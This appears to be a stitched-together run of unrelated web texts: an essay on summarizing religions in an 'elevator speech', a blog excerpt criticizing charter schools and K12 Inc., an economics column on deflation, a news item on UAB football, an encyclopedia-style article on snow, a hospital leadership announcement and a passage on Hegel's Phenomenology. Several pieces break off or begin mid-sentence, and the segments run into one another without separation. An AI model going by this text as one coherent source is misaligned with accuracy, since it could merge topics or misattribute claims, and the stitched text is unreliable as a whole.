I’m still waiting for that experience, and I’m not optimistic it will happen this month, either. I’ve written a bunch of elevator speeches over the years. None of them were ooooohhhh-worthy, and none of them has aged well. Any time I think I’m going to escape the assignment by pulling some previous speech out of my files, I retrieve one, read it, sigh, and return to my blank sheet of paper.
Why is this so hard? I’d like to just get angry at whoever came up with the whole elevator-speech idea. It’s unreasonable. You can’t sum up a religion in a few lines.
Except that, in other religions, people seem to do it. Those guys who buy tickets behind home plate and wave signs that say “John 3:16”—they think they’ve really captured something. And sure, getting Christianity down to nine keystrokes requires code, but even if you open your Bible and decrypt it, it’s still a pretty good elevator-length summary: “For God so loved the world, that he gave his only begotten Son, that whosoever believeth in him should not perish, but have everlasting life.”
The whole elevator-speech idea is actually much older than power-driven elevators and the short discussions they enable. (In earlier rope-and-pulley elevators, conversation was more limited: “Keep pulling. We’re almost there.”) It goes back at least as far as the Jewish teacher Hillel, a contemporary of Jesus. A gentile had asked Hillel’s rival Shammai to summarize the Torah while standing on one foot. Shammai took offense and chased the young man away with a ruler (a reaction I sympathize with). But Hillel was more easy-going and accepted the challenge. “What is hateful to you,” he said, “do not do to your neighbor. That is the whole Torah; the rest is commentary. Go and learn it.”
Put Hillel on one of today’s elevators and his speech would be finished before everybody got done pushing their buttons. It’s simple, meaningful, and leaves room for expansion: The rest may be “commentary,” but it’s important—you should go and learn it.
If any of Hillel’s students had been eavesdropping and wondering how the master would answer, I’ll bet they said, “ |
needs public schools subject to democratic governance. Why not turn public dollars over to private corporations to run schools as they see fit? Isn’t the private sector better and smarter than the public sector? The rise of charter schools has been nothing short of meteoric. They were first proposed in 1988 by Raymond Budde, a Massachusetts education professor, and Albert Shanker, the president of the American Federation of Teachers. Budde dreamed of chartering programs or teams of teachers, not schools. Shanker thought of charters as small schools, staffed by union teachers, created to recruit the toughest-to-educate students and to develop fresh ideas to help their colleagues in the public schools. Their originators saw charters as collaborators, not competitors, with the public schools. Now the charter industry has become a means of privatizing public education. They tout the virtues of competition, not collaboration. The sector has many for-profit corporations, eagerly trolling for new business opportunities and larger enrollments. Some charters skim the top students in the poorest neighborhoods; some accept very small proportions of students who have disabilities or don’t speak English; some quietly push out those with low scores or behavior problems (the Indianapolis public schools recently complained about this practice by local charters). Contrary to the vision of the founders, the charter sector is overwhelmingly non-union. It has come to depend on young college graduates, who start at the bottom of the salary scale and leave within a few years. This keeps costs low and enables the charters to pay their executives handsomely and to create rewards for the for-profit industry. Charters are known for high turnover of both teachers and principals. The results are in: Some charters get high test scores, some get low scores, most are no different in test scores from public schools. The wonder is that there are so many low-performing and mediocre charters when they have everything the reform movement demands: no unions, no tenure, no seniority, performance pay, and plenty of uncertified or alternatively certified teachers. A major reason for the phenomenal growth of charters, both nonprofit and for-profit, is the zealous support of Wall Street hedge-fund managers. As The New York Times has reported, charters are the favorite cause of hedge-fund managers. The hedge fund managers even have their own organization, Democrats for Education Reform. DFER’s agenda is indistinguishable from the conservative Republican agenda of choice and test-based accountability. The Los Angeles Democratic Party recently sought a “cease-and-desist” order to prevent DFER from using the word “Democrats” in their name since their policy agenda was not that of the Democratic Party.
To read the post in full, go to Bridging Differences.
Diane Ravitch was on Charlie Rose this week. The video can be found on the Charlie Rose website.
This week I’ll leave you with the Education Radio program on online learning titled The Reality of Virtual Schooling.
Here is the introduction:
In this week’s program, we explore the proliferation of virtual schools. Virtual schools offer on-line education to primary and secondary school students without the added expenses associated with brick and mortar structures and unionized teachers and support staff. We hear opinions on virtual schools from well-known education scholars Jonathon Kozol and Diane Ravitch. We investigate one such virtual school, the Massachusetts Virtual Academy in Greenfield, Massachusetts. We talk with the superintendent of schools, Susan Hollins, who was the driving force behind the opening of that school in 2010, and we also speak with two Greenfield School Committee members, Maryelen Calderwood and Andrew Blais, who opposed it. Finally, we turn to early childhood education scholar Nancy Carlsson-Paige, who talks about the vitally important social, emotional and cognitive needs of young children that are in danger of not being met by virtual schools. We also explore K12 Inc., a for-profit publicly traded technology-based education company that touts itself as the largest provider of proprietary curriculum and online education programs for primary and secondary students in the United States. It is also one of the fastest growing operators of virtual charter schools worldwide. K-12 Inc. was founded in 1999 by Michael Milken and William J. Bennett, a former Reagan Secretary of Education and Bush senior drug czar. We take some time to talk about the background of these men, along with several others involved with this company, as a means to expose the insidious nature of companies like K12 Inc.
DoraToo many steel mills have been built, too many plants making cars, computer chips or solar panels, too many ships, too many houses. They have outstripped the spending power of those supposed to buy the products. This is more or less what happened in the 1920s when electrification and Ford’s assembly line methods lifted output faster than wages. It is a key reason why the Slump proved so intractable, though debt then was far lower than today.
Thankfully, leaders in the US and Europe have this time prevented an implosion of the money supply and domino bank failures. But they have not resolved the elemental causes of our (misnamed) Credit Crisis; nor can they.
Excess plant will hang over us like an oppressive fog until cleared by liquidation, or incomes slowly catch up, or both. Until this occurs, we risk lurching from one false dawn to another, endlessly disappointed.
Justin Lin, the World Bank’s chief economist, warned last month that half-empty factories risk setting off a “deflationary spiral”. We are moving into a phase where the “real economy crisis” bites deeper – meaning mass lay-offs and drastic falls in investment as firms retrench. “Unless we deal with excess capacity, it will wreak havoc on all countries,” he said.
Mr Lin said capacity use had fallen to 72pc in Germany, 69pc in the US, 65pc in Japan, and near 50pc in some poorer countries. These are post-War lows. Fresh data from the Federal Reserve is actually worse. Capacity use in US manufacturing fell to 65.4pc in July.
My discovery as a journalist is that deflation is a taboo subject. Those who came of age in the 1970s mostly refuse to accept that such an outcome is remotely possible, and that includes a few regional Fed governors and the German-led core of the European Central Bank.
As a matter of strict fact, two- thirds of the global economy is already in “deflation-lite”. US prices fell 2.1pc in July year-on-year, the steepest drop since 1950. Import prices are down 7.3pc, even after stripping out energy. At almost every stage over the last year, in almost every country (except Britain), deflationary forces have proved stronger than expected.
Elsewhere, the CPI figures are: Ireland (-5.9), Thailand (-4.4), Taiwan (-2.3), Japan (-1.8), China (-1.8), Belgium (-1.7), Spain (-1.4), Malaysia (-1.4), Switzerland (-1.2), France (-0.7), Germany (-0.6), Canada (-0.3).
Even countries such as France and Germany eking out slight recoveries are seeing a contraction in “nominal” GDP. This is new outside Japan, and matters for debt dynamics. Ireland’s nominal GDP is shrinking 13pc annually: debt stays still.
Global prices will rebound later this year as commodity costs feed through – though that may not last once China pricks its credit bubble after the 60th anniversary of the revolution in October. My fear – hopefully wrong – is that we are being boiled slowly like frogs, complacent until it is too late to jump out of the deflation pot.
The sugar rush of fiscal stimulus in the West will subside within a few months. Those “cash-for-clunkers” schemes that have lifted France and Germany out of recession – just – change nothing. They draw forward spending, leading to a cliff-edge fall later. (This is not a criticism. Governments did the right thing given the emergency). The thaw in trade finance has led to a V-shaped rebound in East Asia as pent up exports are shipped. But again, nothing fundamental has changed. Deficit countries in the Anglo-Sphere, Club Med, and East Europe are all on diets. People talk too much about “liquidity” – a slippery term – and not enough about concrete demand.
Professor James Livingston at Rutgers University says we have been blinded by Milton Friedman, who convinced our economic elites and above all Fed chair Ben Bernanke that the Depression was a “credit event” that could have been avoided by a monetary blast (helicopters/QE). Under that schema, we should be safely clear of trouble before long this time.
Mr Livingston’s “Left-Keynesian” view is that a widening gap between rich and poor in the 1920s incubated the Slump. The profit share of GDP grew: the wage share fell – just as now, in today’s case because globalisation lets business exploit “labour arbitrage” by playing off Western workers against the Asian wages. The rich do not spend (much), they accumulate capital. Hence the investment bubble of the 1920s, even as consumption stagnated.
I reserve judgment on this thesis, which amounts to an indictment of our economic model. But whether we like it or not, Left or Right, we may have to pay more attention to such thinking if Bernanke’s credit fix fails to do the job. Back to socialism anybody?MONTGOMERY, Alabama --- Gov. Robert Bentley said today he wanted to learn more about concerns over the future of UAB football and said this season was cause for optimism for the program.
Bentley is president of the University of Alabama System Board of Trustees because he is governor.
He said UAB has struggled establishing the program and fan support but said this year has been encouraging.
"We have a very good coach this year," Bentley said. "He's done a fantastic job. The team has improved."
"I'm very optimistic, actually, about the team this year compared to what I've seen in the past.
The Blazers defeated Southern Mississippi on Saturday to finish the regular season 6-6, earning bowl eligibility for the first time since 2004.
Average attendance at home games more than doubled under first-year head coach Bill Clark, to about 22,000, fifth best among 13 teams in Conference USA.
But Clark has said he is concerned the program could be shut down and that he has not received word about the future from the UAB administration.
Students and alumni have staged rallies to save the program.
"Hopefully it's going to survive, and I'm going to find out some more information about the situation over the next day or two," Bentley said.
Asked if he planned to get actively involved in deciding the program's future, Bentley said he had not decided.
"But that is a decision that the Board of Trustees makes, and I am the chairman of the Board of Trustees and I always want people to remember that," the governor said."Snowfall" redirects here. For other uses, see Snowfall (disambiguation)
Snow refers to forms of ice crystals that precipitate from the atmosphere (usually from clouds) and undergo changes on the Earth's surface.[2] It pertains to frozen crystalline water throughout its life cycle, starting when, under suitable conditions, the ice crystals form in the atmosphere, increase to millimeter size, precipitate and accumulate on surfaces, then metamorphose in place, and ultimately melt, slide or sublimate away. Snowstorms organize and develop by feeding on sources of atmospheric moisture and cold air. Snowflakes nucleate around particles in the atmosphere by attracting supercooled water droplets, which freeze in hexagonal-shaped crystals. Snowflakes take on a variety of shapes, basic among these are platelets, needles, columns and rime. As snow accumulates into a snowpack, it may blow into drifts. Over time, accumulated snow metamorphoses, by sintering, sublimation and freeze-thaw. Where the climate is cold enough for year-to-year accumulation, a glacier may form. Otherwise, snow typically melts seasonally, causing runoff into streams and rivers and recharging groundwater.
Major snow-prone areas include the polar regions, the upper half of the Northern Hemisphere and mountainous regions worldwide with sufficient moisture and cold temperatures. In the Southern Hemisphere, snow is confined primarily to mountainous areas, apart from Antarctica.[3]
Snow affects such human activities as transportation: creating the need for keeping roadways, wings, and windows clear; agriculture: providing water to crops and safeguarding livestock; sports such as skiing, snowboarding, and snowmachine travel; and warfare. Snow affects ecosystems, as well, by providing an insulating layer during winter under which plants and animals are able to survive the cold.[1]
Precipitation
Below 500: annually. Below 500: annually, but not in all of its territory. 500: above annually, below occasionally. Above 500: annually. Above 2,000: annually. Any elevation: none. Worldwide occurrence of snowfall. Snow at reference above sea level (meters):
Snow develops in clouds that themselves are part of a larger weather system. The physics of snow crystal development in clouds results from a complex set of variables that include moisture content and temperatures. The resulting shapes of the falling and fallen crystals can be classified into a number of basic shapes and combinations, thereof. Occasionally, some plate-like, dendritic and stellar-shaped snowflakes can form under clear sky with a very cold temperature inversion present.[4]
Cloud formation
Snow clouds usually occur in the context of larger weather systems, the most important of which is the low pressure area, which typically incorporate warm and cold fronts as part of their circulation. Two additional and locally productive sources of snow are lake-effect (also sea-effect) storms and elevation effects, especially in mountains.
Low pressure areas
Extratropical cyclonic snowstorm, February 24, 2007—(Click for animation.)
Mid-latitude cyclones are low pressure areas which are capable of producing anything from cloudiness and mild snow storms to heavy blizzards.[5] During a hemisphere's fall, winter, and spring, the atmosphere over continents can be cold enough through the depth of the troposphere to cause snowfall. In the Northern Hemisphere, the northern side of the low pressure area produces the most snow.[6] For the southern mid-latitudes, the side of a cyclone that produces the most snow is the southern side.
Fronts
Massachusetts Frontal snowsquall moving toward Boston
A cold front, the leading edge of a cooler mass of air, can produce frontal snowsqualls—an intense frontal convective line (similar to a rainband), when temperature is near freezing at the surface. The strong convection that develops has enough moisture to produce whiteout conditions at places which line passes over as the wind causes intense blowing snow.[7] This type of snowsquall generally lasts less than 30 minutes at any point along its path but the motion of the line can cover large distances. Frontal squalls may form a short distance ahead of the surface cold front or behind the cold front where there may be a deepening low pressure system or a series of trough lines which act similar to a traditional cold frontal passage. In situations where squalls develop post-frontally it is not unusual to have two or three linear squall bands pass in rapid succession only separated by 25 miles (40 kilometers) with each passing the same point in roughly 30 minutes apart. In cases where there is a large amount of vertical growth and mixing the squall may develop embedded cumulonimbus clouds resulting in lightning and thunder which is dubbed thundersnow.
A warm front can produce snow for a period, as warm, moist air overrides below-freezing air and creates precipitation at the boundary. Often, snow transitions to rain in the warm sector behind the front.[7]
Lake and ocean effects
Lake-effect snow is produced during cooler atmospheric conditions when a cold air mass moves across long expanses of warmer lake water, warming the lower layer of air which picks up water vapor from the lake, rises up through the colder air above, freezes and is deposited on the leeward (downwind) shores.[8][9]
The same effect also occurs over bodies of salt water, when it is termed ocean-effect or bay-effect snow. The effect is enhanced when the moving air mass is uplifted by the orographic influence of higher elevations on the downwind shores. This uplifting can produce narrow but very intense bands of precipitation, which deposit at a rate of many inches of snow each hour, often resulting in a large amount of total snowfall.[10]
The areas affected by lake-effect snow are called snowbelts. These include areas east of the Great Lakes, the west coasts of northern Japan, the Kamchatka Peninsula in Russia, and areas near the Great Salt Lake, Black Sea, Caspian Sea, Baltic Sea, and parts of the northern Atlantic Ocean.[11]
Mountain effects
Orographic or relief snowfall is caused when masses of air pushed by wind are forced up the side of elevated land formations, such as large mountains. The lifting of air up the side of a mountain or range results in adiabatic cooling, and ultimately condensation and precipitation. Moisture is removed by orographic lift, leaving drier, warmer air on the descending, leeward side.[12] The resulting enhanced productivity of snow fall[13] and the decrease in temperature with elevation[14] means that snow depth and seasonal persistence of snowpack increases with elevation in snow-prone areas.[1][15]
Cloud physics
Freshly fallen snowflakes
A snowflake consists of roughly 1019 water molecules, which are added to its core at different rates and in different patterns, depending on the changing temperature and humidity within the atmosphere that the snowflake falls through on its way to the ground. As a result, snowflakes vary among themselves, while following similar patterns.[16][17][18]
Snow crystals form when tiny supercooled cloud droplets (about 10 μm in diameter) freeze. These droplets are able to remain liquid at temperatures lower than −18 °C (0 °F), because to freeze, a few molecules in the droplet need to get together by chance to form an arrangement similar to that in an ice lattice. Then the droplet freezes around this "nucleus". In warmer clouds an aerosol particle or "ice nucleus" must be present in (or in contact with) the droplet to act as a nucleus. Ice nuclei are very rare compared to that cloud condensation nuclei on which liquid droplets form. Clays, desert dust and biological particles can be nuclei.[19] Artificial nuclei include particles of silver iodide and dry ice, and these are used to stimulate precipitation in cloud seeding.[20]
Once a droplet has frozen, it grows in the supersaturated environment—one where air is saturated with respect to ice when the temperature is below the freezing point. The droplet then grows by diffusion of water molecules in the air (vapor) onto the ice crystal surface where they are collected. Because water droplets are so much more numerous than the ice crystals due to their sheer abundance, the crystals are able to grow to hundreds of micrometers or millimeters in size at the expense of the water droplets by the Wegener–Bergeron–Findeisen process. The corresponding depletion of water vapor causes the ice crystals to grow at the droplets' expense. These large crystals are an efficient source of precipitation, since they fall through the atmosphere due to their mass, and may collide and stick together in clusters, or aggregates. These aggregates are snowflakes, and are usually the type of ice particle that falls to the ground.[21] Although the ice is clear, scattering of light by the crystal facets and hollows/imperfections mean that the crystals often appear white in color due to diffuse reflection of the whole spectrum of light by the small ice particles.[22]
Classification of snowflakes
Micrography of thousands of snowflakes from 1885 onward, starting with Wilson Alwyn Bentley, revealed the wide diversity of snowflakes within a classifiable set of patterns.[24] Closely matching snow crystals have been observed.[25]
Nakaya developed a crystal morphology diagram, relating crystal shapes to the temperature and moisture conditions under which they formed, which is summarized in the following table.[1]
Crystal structure morphology as a function of temperature and water saturation Temperature range Saturation range Types of snow crystal °C °F g/m3 oz/cu yd below saturation above saturation 0 to −3.5 32 to 26 0.0 to 0.5 0.000 to 0.013 Solid plates Thin plates Dendrites −3.5 to −10 26 to 14 0.5 to 1.2 0.013 to 0.032 Solid prisms Hollow prisms Hollow prisms Needles −10 to −22 14 to −8 1.2 to 1.4 0.032 to 0.038 Thin plates Solid plates Sectored plates Dendrites −22 to −40 −8 to −40 1.2 to 0.1 0.0324 to 0.0027 Thin plates Solid plates Columns Prisms
As Nakaya discovered, shape is also a function of whether the prevalent moisture is above or below saturation. Forms below the saturation line trend more towards solid and compact. Crystals formed in supersaturated air trend more towards lacy, delicate and ornate. Many more complex growth patterns also form such as side-planes, bullet-rosettes and also planar types depending on the conditions and ice nuclei.[26][27][28] If a crystal has started forming in a column growth regime, at around −5 °C (23 °F), and then falls into the warmer plate-like regime, then plate or dendritic crystals sprout at the end of the column, producing so called "capped columns".[21]
Magono and Lee devised a classification of freshly formed snow crystals that includes 80 distinct shapes. They documented each with micrographs.[29]
Accumulation
An animation of seasonal snow changes, based on satellite imagery
Snow accumulates from a series of snow events, punctuated by freezing and thawing, over areas that are cold enough to retain snow seasonally or perennially. Major snow-prone areas include the Arctic and Antarctic, the Northern Hemisphere, and alpine regions. The liquid equivalent of snowfall may be evaluated using a snow gauge[30] or with a standard rain gauge, adjusted for winter by removal of a funnel and inner cylinder.[31] Both types of gauges melt the accumulated snow and report the amount of water collected.[32] At some automatic weather stations an ultrasonic snow depth sensor may be used to augment the precipitation gauge.[33]
Snow events
Snow flurry, snow storm and blizzard describe snow events of progressively greater duration and intensity.[34] A blizzard is a weather condition involving snow and has varying definitions in different parts of the world. In the United States, a blizzard occurs when two conditions are met for a period of three hours or more: A sustained wind or frequent gusts to 35 miles per hour (56 km/h), and sufficient snow in the air to reduce visibility to less than 0.4 kilometers (0.25 mi).[35] In Canada and the United Kingdom, the criteria are similar.[36][37] While heavy snowfall often occurs during blizzard conditions, falling snow is not a requirement, as blowing snow can create a ground blizzard.[38]
Snowstorm intensity may be categorized by visibility and depth of accumulation.[39] Snowfall's intensity is determined by visibility, as follows:[40]
Light : visibility greater than 1 kilometer (0.6 mi)
: visibility greater than 1 kilometer (0.6 mi) Moderate : visibility restrictions between 0.5 and 1 kilometer (0.3 and 0.6 mi)
: visibility restrictions between 0.5 and 1 kilometer (0.3 and 0.6 mi) Heavy: visibility is less than 0.5 kilometers (0.3 mi)
The International Classification for Seasonal Snow on the Ground defines "height of new snow" as the depth of freshly fallen snow, in centimeters as measured with a ruler, that accumulated on a snowboard during an observation period of 24 hours, or other observation interval. After the measurement, the snow is cleared from the board and the board is placed flush with the snow surface to provide an accurate measurement at the end of the next interval.[4] Melting, compacting, blowing and drifting contribute to the difficulty of measuring snowfall.[41]
Distribution
Glaciers with their permanent snowpacks cover about 10% of the earth's surface, while seasonal snow covers about nine percent,[1] mostly in the Northern Hemisphere, where seasonal snow covers about 40 million square kilometres (15×10 ^ 6 sq mi), according to a 1987 estimate.[42] A 2007 estimate of snow cover over the Northern Hemisphere suggested that, on average, snow cover ranges from a minimum extent of 2 million square kilometres (0.77×10 ^ 6 sq mi) each August to a maximum extent of 45 million square kilometres (17×10 ^ 6 sq mi) each January or nearly half of the land surface in that hemisphere.[43][44] A study of Northern Hemisphere snow cover extent for the period 1972–2006 suggests a reduction of 0.5 million square kilometres (0.19×10 ^ 6 sq mi) over the 35-year period.[44]
Records
The following are world records regarding snowfall and snowflakes:
Metamorphosis
Fresh snow beginning to metamorphose: The surface shows wind packing and sastrugi. In the foreground are hoar frost crystals, formed by refrozen water vapor emerging to the cold surface.
After deposition, snow progresses on one of two paths that determine its fate, either ablation (mostly by melting) or transitioning from firn (multi-year snow) into glacier ice. During this transition, snow "is a highly porous, sintered material made up of a continuous ice structure and a continuously connected pore space, forming together the snow microstructure". Almost always near its melting temperature, a snowpack is continually transforming these properties in a process, known as metamorphism, wherein all three phases of water may coexist, including liquid water partially filling the pore space.[4] Starting as a powdery deposition, snow becomes more granular when it begins to compact under its own weight, be blown by the wind, sinter particles together and commence the cycle of melting and refreezing. Water vapor plays a role as it deposits ice crystals, known as hoar frost, during cold, still conditions.[49]
Seasonal snowpack
Over the course of time, a snowpack may settle under its own weight until its density is approximately 30% of water. Increases in density above this initial compression occur primarily by melting and refreezing, caused by temperatures above freezing or by direct solar radiation. In colder climates, snow lies on the ground all winter. By late spring, snow densities typically reach a maximum of 50% of water.[50] Snow that persists into summer evolves into névé, granular snow, which has been partially melted, refrozen and compacted. Névé has a minimum density of 500 kilograms per cubic metre (31 lb/cu ft), which is roughly half of the density of liquid water.[51]
Firn
Firn is snow that has persisted for multiple years and has been recrystallized into a substance denser than névé, yet less dense and hard than glacial ice. Firn resembles caked sugar and is very resistant to shovelling. Its density generally ranges from 550 kilograms per cubic metre (34 lb/cu ft) to 830 kilograms per cubic metre (52 lb/cu ft), and it can often be found underneath the snow that accumulates at the head of a glacier. The minimum altitude that firn accumulates on a glacier is called the firn limit, firn line or snowline.[1][52]
Movement
There are four main mechanisms for movement of deposited snow: drifting of unsintered snow, avalanches of accumulated snow on steep slopes, snowmelt during thaw conditions, and the movement of glaciers after snow has persisted for multiple years and metamorphosed into glacier ice.
Drifting
Snow drifts forming around downwind obstructions
When powdery, snow drifts with the wind from the location where it originally fell,[53] forming deposits with a depth of several meters in isolated locations.[54] After attaching to hillsides, blown snow can evolve into a snow slab, which is an avalanche hazard on steep slopes.[55]
Avalanche
A powder snow avalanche
An avalanche (also called a snowslide or snowslip) is a rapid flow of snow down a sloping surface. Avalanches are typically triggered in a starting zone from a mechanical failure in the snowpack (slab avalanche) when the forces on the snow exceed its strength but sometimes only with gradually widening (loose snow avalanche). After initiation, avalanches usually accelerate rapidly and grow in mass and volume as they entrain more snow. If the avalanche moves fast enough some of the snow may mix with the air forming a powder snow avalanche, which is a type of gravity current. They occur in three major mechanisms:[55]
Slab avalanches occur in snow that has been deposited, or redeposited by wind. They have the characteristic appearance of a block (slab) of snow cut out from its surroundings by fractures. These account for most back-country fatalities.
occur in snow that has been deposited, or redeposited by wind. They have the characteristic appearance of a block (slab) of snow cut out from its surroundings by fractures. These account for most back-country fatalities. Powder snow avalanches result from a deposition of fresh dry powder and generate a powder cloud, which overlies a dense avalanche. They can exceed speeds of 300 kilometres per hour (190 mph), and masses of 10,000,000 tonnes (9,800,000 long tons; 11,000,000 short tons); their flows can travel long distances along flat valley bottoms and even uphill for short distances.
result from a deposition of fresh dry powder and generate a powder cloud, which overlies a dense avalanche. They can exceed speeds of 300 kilometres per hour (190 mph), and masses of 10,000,000 tonnes (9,800,000 long tons; 11,000,000 short tons); their flows can travel long distances along flat valley bottoms and even uphill for short distances. Wet snow avalanches are a low-velocity suspension of snow and water, with the flow confined to the surface of the pathway.[55] The low speed of travel is due to the friction between the sliding surface of the pathway and the water saturated flow. Despite the low speed of travel (~10 to 40 kilometres per hour (6 to 25 mph)), wet snow avalanches are capable of generating powerful destructive forces, due to the large mass, and density.
Snowmelt
Many rivers originating in mountainous or high-latitude regions receive a significant portion of their flow from snowmelt. This often makes the river's flow highly seasonal resulting in periodic flooding[56] during the spring months and at least in dry mountainous regions like the mountain West of the US or most of Iran and Afghanistan, very low flow for the rest of the year. In contrast, if much of the melt is from glaciated or nearly glaciated areas, the melt continues through the warm season, with peak flows occurring in mid to late summer.[57]
Glaciers
Glaciers form where the accumulation of snow and ice exceeds ablation. The area in which an alpine glacier forms is called a cirque (corrie or cwm), a typically armchair-shaped geological feature, which collects snow and where the snowpack compacts under the weight of successive layers of accumulating snow, forming névé. Further crushing of the individual snow crystals and reduction of entrapped air in the snow turns it into glacial ice. This glacial ice will fill the cirque until it overflows through a geological weakness or an escape route, such as the gap between two mountains. When the mass of snow and ice is sufficiently thick, it begins to move due to a combination of surface slope, gravity and pressure. On steeper slopes, this can occur with as little as 15 m (50 ft) of snow-ice.[1]
Snow science
Scientists study snow at a wide variety of scales that include the physics of chemical bonds and clouds; the distribution, accumulation, metamorphosis, and ablation of snowpacks; and the contribution of snowmelt to river hydraulics and ground hydrology. In doing so, they employ a variety of instruments to observe and measure the phenomena studied. Their findings contribute to knowledge applied by engineers, who adapt vehicles and structures to snow, by agronomists, who address the availability of snowmelt to agriculture, and those, who design equipment for sporting activities on snow. Scientists develop and others employ snow classification systems that describe its physical properties at scales ranging from the individual crystal to the aggregated snowpack. A sub-specialty is avalanches, which are of concern to engineers and outdoors sports people, alike.
Snow science addresses how snow forms, its distribution, and processes affecting how snowpacks change over time. Scientists improve storm forecasting, study global snow cover and its effect on climate, glaciers, and water supplies around the world. The study includes physical properties of the material as it changes, bulk properties of in-place snow packs, and the aggregate properties of regions with snow cover. In doing so, they employ on-the-ground physical measurement techniques to establish ground truth and remote sensing techniques to develop understanding of snow-related processes over large areas.[58]
Measurement and classification
In the field snow scientists often excavate a snow pit within which to make basic measurements and observations. Observations can describe features caused by wind, water percolation, or snow unloading from trees.Water percolation into a snowpack can create flow fingers and ponding or flow along capillary barriers, which can refreeze into horizontal and vertical solid ice formations within the snowpack. Among the measurements of the properties of snowpacks that the International Classification for Seasonal Snow on the Ground includes are: snow height, snow water equivalent, snow strength, and extent of snow cover. Each has a designation with code and detailed description. The classification extends the prior classifications of Nakaya and his successors to related types of precipitation and are quoted in the following table:[4]
Snow pit on the surface of a glacier, profiling snow properties where the snow becomes increasingly dense with depth as it metamorphoses towards ice
Frozen precipitation particles, related to snow crystals Subclass Shape Physical process Graupel Heavily rimed particles, spherical, conical, hexagonal or irregular in shape Heavy riming of particles by accretion of supercooled water droplets Hail Laminar internal structure, translucent or milky glazed surface Growth by accretion of supercooled water, size: >5 mm Ice pellets Transparent, mostly small spheroids Freezing of raindrops or refreezing of largely melted snow crystals or snowflakes (sleet). Graupel or snow pellets encased in thin ice layer (small hail). Size: both 5 mm Rime Irregular deposits or longer cones and needles pointing into the wind Accretion of small, supercooled fog droplets frozen in place. Thin breakable crust forms on snow surface if process continues long enough.
All are formed in cloud, except for rime, which forms on objects exposed to supercooled moisture.
It also has a more extensive classification of deposited snow than those that pertain to airborne snow. The categories include both natural and man-made snow types, descriptions of snow crystals as they metamorphose and melt, the development of hoar frost in the snow pack and the formation of ice therein. Each such layer of a snowpack differs from the adjacent layers by one or more characteristics that describe its microstructure or density, which together define the snow type, and other physical properties. Thus, at any one time, the type and state of the snow forming a layer have to be defined because its physical and mechanical properties depend on them. Physical properties include microstructure, grain size and shape, snow density, liquid water content, and temperature.[4]
Satellite data
Remote sensing of snowpacks with satellites and other platforms typically includes multi-spectral collection of imagery. Multi-faceted interpretation of the data obtained allows inferences about what is observed. The science behind these remote observations has been verified with ground-truth studies of the actual conditions.[1]
Satellite observations record a decrease in snow-covered areas since the 1960s, when satellite observations began. In some regions such as China, a trend of increasing snow cover was observed from 1978 to 2006. These changes are attributed to global climate change, which may lead to earlier melting and less coverage area. However, in some areas there may be an increase in snow depth because of higher temperatures for latitudes north of 40°. For the Northern Hemisphere as a whole the mean monthly snow-cover extent has been decreasing by 1.3% per decade.[59]
The most frequently used methods to map and measure snow extent, snow depth and snow water equivalent employ multiple inputs on the visible–infrared spectrum to deduce the presence and properties of snow. The National Snow and Ice Data Center (NSIDC) uses the reflectance of visible and infrared radiation to calculate a normalized difference snow index, which is a ratio of radiation parameters that can distinguish between clouds and snow. Other researchers have developed decision trees, employing the available data to make more accurate assessments. One challenge to this assessment is where snow cover is patchy, for example during periods of accumulation or ablation and also in forested areas. Cloud cover inhibits optical sensing of surface reflectance, which has led to other methods for estimating ground conditions underneath clouds. For hydrological models, it is important to have continuous information about the snow cover. Passive microwave sensors are especially valuable for temporal and spatial continuity because they can map the surface beneath clouds and in darkness. When combined with reflective measurements, passive microwave sensing greatly extends the inferences possible about the snowpack.[59]
Models
Snowfall and snowmelt are parts of the Earth's water cycle.
Snow science often leads to predictive models that include snow deposition, snow melt, and snow hydrology—elements of the Earth's water cycle—which help describe global climate change.[1]
Global climate change models (GCMs) incorporate snow as a factor in their calculations. Some important aspects of snow cover include its albedo (reflectivity of incident radiation, including light) and insulating qualities, which slow the rate of seasonal melting of sea ice. As of 2011, the melt phase of GCM snow models were thought to perform poorly in regions with complex factors that regulate snow melt, such as vegetation cover and terrain. These models typically derive snow water equivalent (SWE) in some manner from satellite observations of snow cover.[1] The International Classification for Seasonal Snow on the Ground defines SWE as "the depth of water that would result if the mass of snow melted completely".[4]
Given the importance of snowmelt to agriculture, hydrological |
.8 billion healthcare system consists of 12 hospitals in southwest Florida, according to the announcement.
He also was an executive vice president for Meridian Health System. Prior to that, Gantner worked for the University of Medicine and Dentistry of New Jersey, “major” financial services and consulting firms, making partner at Ernst & Young, according to the press release.
“I am looking forward to working closely with the physicians and staff to lead our system’s nationally distinguished academic medical center to unsurpassed quality and patient outcomes,” he said in a statement.
Gantner earned his undergraduate degree from Lehigh University and a graduate degree from the institution’s business school. The South Seaside Park resident is a certified public accountant, a managerial accountant and a member of “several professional organizations,” according to the announcement.
He has also served on several boards.
At the Somerset branch, meanwhile, Anthony Cava is poised to become president. The Boonton Township resident came to work for the hospital in 2015 as chief administrative officer.
He has worked in health care administration for more than 30 years, according to the hospital.
Antoniades, the former hospital president and CEO, oversaw both campuses, in New Brunswick and Somerset. It’s unclear why Robert Wood Johnson decided to split that set of responsibilities among the two new presidents.
Antoniades couldn’t immediately be reached for comment.The method of the Phenomenology’s development is mysterious to the uninitiated, but even when you understand the movement of the method you cannot help but wonder: why this method with this content and in this manner? The lack of justification or explanation of the method in the Phenomenology itself is an interesting and good critique leveled at Hegel by some (see the interesting draft of “The Greatest Mistake: A Case for the Failure of Hegel’s Idealism” by Peter Wolfendale for one such critique).
Now, the development is logical in Hegel’s peculiar sense, i.e. we have an immanently logical development ordered by a progression from immediate abstraction to mediated concreteness expanding into a system of concepts which take up the entirety of concepts before them, in this case a mix between phenomenal forms of consciousness and purely logical categories discovered and developed through phenomenal forms. Hegel does not give us a justification or explanation as to why he can proceed with the inquiry of the Phenomenology in its immanently dialectical manner. Indeed, Hegel does not bring up the question of method until the end of the Science of Logic.
The original title of the Phenomenology of Spirit was Science of The Experience of Consciousness, i.e. the work was clearly already intended to have the form of science despite supposedly being the journey of consciousness to discover science through ‘natural consciousness’—the unscientific form of thought. It is peculiar indeed that Hegel should be so bold as to give us the power of his science implicitly without yet having justified ground to do so. Without Hegel’s implicit logical method we would have no capacity to choose between forms of consciousness in any ordering which would allow for such a progression as Hegel gives us, but at the outset of the Phenomenology Hegel has no way to justify this method, indeed, he himself had not yet completely explicated it as he would in the Science of Logic.
